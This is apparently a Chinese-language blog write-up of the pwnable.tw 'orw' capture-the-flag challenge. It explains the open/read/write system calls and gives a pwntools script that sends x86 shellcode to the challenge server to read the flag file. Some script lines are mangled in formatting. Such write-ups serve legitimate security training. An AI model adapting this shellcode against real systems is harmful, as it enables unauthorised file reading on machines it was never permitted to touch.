Pwnable.tw orw

這題還是比較簡單的

題目的描述看 顯然是要寫shellcode來讀flag文件

binary會直接執行寫入的shellcode

偽代碼

char*file='home/orw/flag';

sys_open(file,0,0);

sys_read(3,file,0x30);

sys_write(1,file,0x30);

系統調用的參數詳見這里

然后就相當于用匯編構造出這些函數,可能需要對x86匯編有一些基本的了解

利用腳本

from pwn import *

context.log_level="debug"

s = remote('chall.pwnable.tw',10001)

shellcode = ''"

shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')

shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')

shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')

def pwn():

? ? recv = s.recvuntil(':')

? ? print recv

? ? s.sendline(shellcode)

? ? flag = s.recv()

pwn()

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容